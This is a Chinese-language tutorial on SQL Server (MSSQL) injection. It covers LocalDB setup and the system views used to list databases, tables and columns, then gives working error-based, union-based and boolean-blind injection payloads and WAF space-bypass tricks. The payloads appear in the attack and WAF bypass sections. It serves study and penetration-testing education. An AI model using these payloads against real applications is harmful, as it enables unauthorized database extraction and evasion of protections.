前言

很早之前总结mysql语法和注入技巧,但是后面在实战中遇到了一个iis老系统有mssql注入漏洞,才发现自己不知道该怎么注入和绕过waf。这里只简单介绍sql server的一些特性和注入绕过具体实现。本质上sql server语法和mysql语法差不多。所有这篇文章不会过多介绍一些基础的sql语句

安装

使用 SqlLocalDB 实用工具创建 SQL Server Express LocalDB 的实例,然后navicat连接

1
2
3
4
5
6
7
sqllocaldb v #查看版本
sqllocaldb create MSSQLLocalDB #创建数据库,创建后不会自动启动数据库
sqllocaldb i #列出当前用户拥有的所有 SQL Server Express LocalDB 实例
SqlLocalDb info MSSQLLocalDB #显示数据库信息
SqlLocalDB start MSSQLLocalDB #启动数据库
SqlLocalDB stop MSSQLLocalDB #停止MyDatabase数据库
SqlLocalDB delete MSSQLLocalDB #删除MyDatabase数据库

连接主机为(localdb)\MSSQLLocalDB,如果不行,可以通过管道名字进行连接, 管道名称每次重启服务都会变

基础

架构

架构是数据库对象的逻辑容器,用于将数据库中的对象分组并且管理其访问权限。每个架构由一个架构名标识,并且每个数据库对象(如表、视图等)都属于某个架构。可以理解为对数据库下各表进行分组。

在创建用户时,可以指定该用户的默认架构。如果没有指定,默认是 dbo
在 SQL Server 中,dbo(Database Owner) 是最常见的默认架构,所有没有明确指定架构的数据库对象都会自动属于 dbo 架构。

1
2
select *  from master.dbo.sysdatabases; --查找master数据库下dbo架构的sysdatabases视图
select * from master..sysdatabases; --查找master数据库下默认架构dbo下的sysdatabases视图

基本信息查询

1
2
3
4
5
6
7
SELECT @@version;                   --版本
SELECT user; --用户
SELECT DB_NAME(); --当前数据库名,你可以用db_name(n)来遍历出所有的数据库
SELECT host_name(); --客户端机器的主机名
SELECT @@servername; --返回 SQL Server 实例的名
select IS_SRVROLEMEMBER('sysadmin') --查看用户权限,返回1则说明是服务器级别角色sysadmin组的成员
SELECT IS_MEMBER('db_owner') --数据库级别角色db_owner

查看数据库信息

1
2
3
4
5
6
7
8
9
10
1> select *  from master.dbo.sysdatabases; --name为数据库名,且前四个为系统自带库
2> go
name dbid sid mode status status2 crdate reserved category cmptlevel filename version
-------- ------ ----- ------ -------- ------------ ------------------------- ------------------------- ---------- ----------- --------------------------------------------------------------------------------------------------------- ---------
master 1  0 65544 1090520064 2003-04-08 09:13:36.390 1900-01-01 00:00:00.000 0 150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\master.mdf 904
tempdb 2  0 65544 1090520064 2025-05-02 18:31:58.970 1900-01-01 00:00:00.000 0 150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\tempdb.mdf 904
model 3  0 65544 1090519040 2003-04-08 09:13:36.390 1900-01-01 00:00:00.000 0 150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\model.mdf 904
msdb 4  0 65544 1627390976 2021-07-19 16:10:09.087 1900-01-01 00:00:00.000 0 150 C:\Users\DELL\AppData\Local\Microsoft\Microsoft SQL Server Local DB\Instances\MSSQLLocalDB\MSDBData.mdf 904
test 5   � 0�
�C2x��� 0 65545 1627389952 2025-05-03 00:14:57.960 1900-01-01 00:00:00.000 0 150 C:\Users\DELL\test.mdf

mssql如何查找表信息

sysobjects 视图

sysobjects 是 SQL Server 中的一个旧版系统表,虽然它在 SQL Server 中仍然可用,但已经逐渐被新的视图(如 sys.all_objects)所取代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1> select * from sysobjects where xtype='U'; --U代表用户创建的表,NAME字段为表名
2> go
name id xtype uid info status base_schema_ver replinfo parent_obj crdate ftcatid schema_ver stats_schema_ver type userstat sysstat indexdel refdate version deltrig instrig updtrig seltrig category cache
------- ----------- ------- ----- ------ -------- ----------------- ---------- ------------ ------------------------- --------- ------------ ------------------ ------ ---------- --------- ---------- ------------------------- --------- --------- --------- --------- --------- ---------- -------
test1 885578193 U 1 0 0 0 0 0 2025-05-03 00:16:02.313 0 0 0 U 1 3 0 2025-05-03 00:16:02.313 0 0 0 0 0 0 0
test2 917578307 U 1 0 0 0 0 0 2025-05-03 00:16:38.830 0 0 0 U 1 3 0 2025-05-03 00:16:38.830 0 0 0 0 0 0 0

1> select * from syscolumns where id=885578193; --通过上表获取到的表名对应的id,在syscolumns中获取列名
2> go
name id xtype typestat xusertype length xprec xscale colid xoffset bitpos reserved colstat cdefault domain number colorder autoval offset collationid language status type usertype printfmt prec scale iscomputed isoutparam isnullable collation tdscollation
------ ----------- ------- ---------- ----------- -------- ------- -------- ------- --------- -------- ---------- --------- ---------- -------- -------- ---------- --------- -------- ------------- ---------- -------- ------ ---------- ---------- ------ ------- ------------ ------------ ------------ ------------------------------ --------------
id 885578193 56 1 56 4 10 0 1 0 0 0 0 0 0 0 1 NULL 2 0 0 0 56 7 NULL 10 0 0 0 0 NULL
name 885578193 167 2 167 100 0 0 2 0 0 0 0 0 0 0 2 NULL -1 872468488 0 24 39 2 NULL 100 NULL 0 0 1 SQL_Latin1_General_CP1_CI_AS � 4
age 885578193 56 0 56 4 10 0 3 0 0 0 0 0 0 0 3 NULL -2 0 0 8 38 7 NULL 10 0 0 0 1 NULL

sys.all_objects 视图

sys.all_objects 是一个较新的系统视图,提供了更细粒度的对象信息,并且适用于 SQL Server 2005 及更高版本,但是对于我们而言这俩表没什么不一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1> SELECT * FROM sys.all_objects WHERE type='u';
2> go
name object_id principal_id schema_id parent_object_id type type_desc create_date modify_date is_ms_shipped is_published is_schema_published
--------------------- ------------ -------------- ----------- ------------------ ------ ------------ ------------------------- ------------------------- --------------- -------------- ---------------------
trace_xe_action_map -463397375 NULL 4 0 U USER_TABLE 2021-07-19 16:08:42.057 2021-07-19 16:08:42.067 1 0 0
trace_xe_event_map -319884821 NULL 4 0 U USER_TABLE 2021-07-19 16:08:41.990 2021-07-19 16:08:42.000 1 0 0
test1 885578193 NULL 1 0 U USER_TABLE 2025-05-03 00:16:02.313 2025-05-03 00:16:02.313 0 0 0
test2 917578307 NULL 1 0 U USER_TABLE 2025-05-03 00:16:38.830 2025-05-03 00:16:38.830 0 0 0
1> SELECT * FROM sys.all_columns where object_id='885578193';--在name中获取列名
2> go
object_id name column_id system_type_id user_type_id max_length precision scale collation_name is_nullable is_ansi_padded is_rowguidcol is_identity is_computed is_filestream is_replicated is_non_sql_subscribed is_merge_published is_dts_replicated is_xml_document xml_collection_id default_object_id rule_object_id is_sparse is_column_set generated_always_type generated_always_type_desc encryption_type encryption_type_desc encryption_algorithm_name column_encryption_key_id column_encryption_key_database_name is_hidden is_masked graph_type graph_type_desc
----------- ------ ----------- ---------------- -------------- ------------ ----------- ------- ------------------------------ ------------- ---------------- --------------- ------------- ------------- --------------- --------------- ----------------------- -------------------- ------------------- ----------------- ------------------- ------------------- ---------------- ----------- --------------- ----------------------- ---------------------------- ----------------- ---------------------- --------------------------- -------------------------- ------------------------------------- ----------- ----------- ------------ -----------------
885578193 id 1 56 56 4 10 0 NULL 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 NOT_APPLICABLE NULL NULL NULL NULL NULL 0 0 NULL NULL
885578193 name 2 167 167 100 0 0 SQL_Latin1_General_CP1_CI_AS 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 NOT_APPLICABLE NULL NULL NULL NULL NULL 0 0 NULL NULL
885578193 age 3 56 56 4 10 0 NULL 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 NOT_APPLICABLE NULL NULL NULL NULL NULL 0 0 NULL NULL

INFORMATION_SCHEMA视图

1
2
3
4
5
6
7
8
9
10
11
12
13
1> select * from INFORMATION_SCHEMA.TABLES; --TABLE_NAME为表名
2> go
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
--------------- -------------- ------------ ------------
test dbo test1 BASE TABLE
test dbo test2 BASE TABLE
1> select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='test1'; --COLUMN_NAME为表名
2> go
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION COLUMN_DEFAULT IS_NULLABLE DATA_TYPE CHARACTER_MAXIMUM_LENGTH CHARACTER_OCTET_LENGTH NUMERIC_PRECISION NUMERIC_PRECISION_RADIX NUMERIC_SCALE DATETIME_PRECISION CHARACTER_SET_CATALOG CHARACTER_SET_SCHEMA CHARACTER_SET_NAME COLLATION_CATALOG COLLATION_SCHEMA COLLATION_NAME DOMAIN_CATALOG DOMAIN_SCHEMA DOMAIN_NAME
--------------- -------------- ------------ ------------- ------------------ ---------------- ------------- ----------- -------------------------- ------------------------ ------------------- ------------------------- --------------- -------------------- ----------------------- ---------------------- -------------------- ------------------- ------------------ ------------------------------ ---------------- --------------- -------------
test dbo test1 id 1 NULL NO int NULL NULL 10 10 0 NULL NULL NULL NULL NULL NULL NULL NULL NULL NULL
test dbo test1 name 2 NULL YES varchar 100 100 NULL NULL NULL NULL NULL NULL iso_1 NULL NULL SQL_Latin1_General_CP1_CI_AS NULL NULL NULL
test dbo test1 age 3 NULL YES int NULL NULL 10 10 0 NULL NULL NULL NULL NULL NULL NULL NULL NULL NULL

攻击手法

报错注入

报错方法

mssql中没有报错函数,其报错注入利用显式或隐式的类型转换来报错,所以只要能够导致类型转换错误的函数/方法都可以用来进行爆错注入

1
2
3
4
5
SELECT 1 where 1=1 and 1<user; --
select 1 where 1=1 (select CAST(user as int))
select 1 where 1=1 (select convert(int,user))
select 1 where 1=1 (select db_name(user))
--还有:col_name(1,user),filegroup_name(user),object_name(user),suser_name(user)等

报错注入流程

1
2
3
4
5
6
7
8
9
10
11
SELECT * FROM Fanmv_Admin WHERE AdminID=
--获取当前据库名
1 and DB_NAME()>1;
--获取所有数据库名,FOR XML PATh将多个行的数据合并为一个xml格式的字符串
1 and 1=(select name from master..sysdatabases for xml path)
--获取表名
1 and 1=(SELECT TOP 1 name from sysobjects WHERE xtype='u' and name !='shipinsjc');
--获取字段
1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Fanmv_Admin') AND name NOT IN ('ChapterInfo') );
--获取数据,CAST() 用于将一个数据类型转换为另一个数据类型。例如,将 INT 类型转换为 VARCHAR
1 and 1=(SELECT TOP 1 CAST(id AS VARCHAR)+'|'+mc+'|'+CAST(shijianchang AS VARCHAR) from Fanmv_Admin);

联合查询注入

mssql不用数字占位,因为可能会发生隐式转换,用null来占位

1
2
select * from users where id=1 order by 4; --查看列数
select * from test1 where id=1 union select null,user,null;

布尔盲注

1
2
SELECT * from users where id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))=109
select * from article where id =1 and 1=iif(LEFT(db_name(),1)='t',1,0)

WAF 绕过

绕空格

1
2
0x01到0x20	
/**/

除此之外还有几处特殊的绕过

1
2
select * from[test1] where id=1union select 2,null,50 from.test2; 
--[]和.可以绕过from处空格,当union前为数字时可以省略空格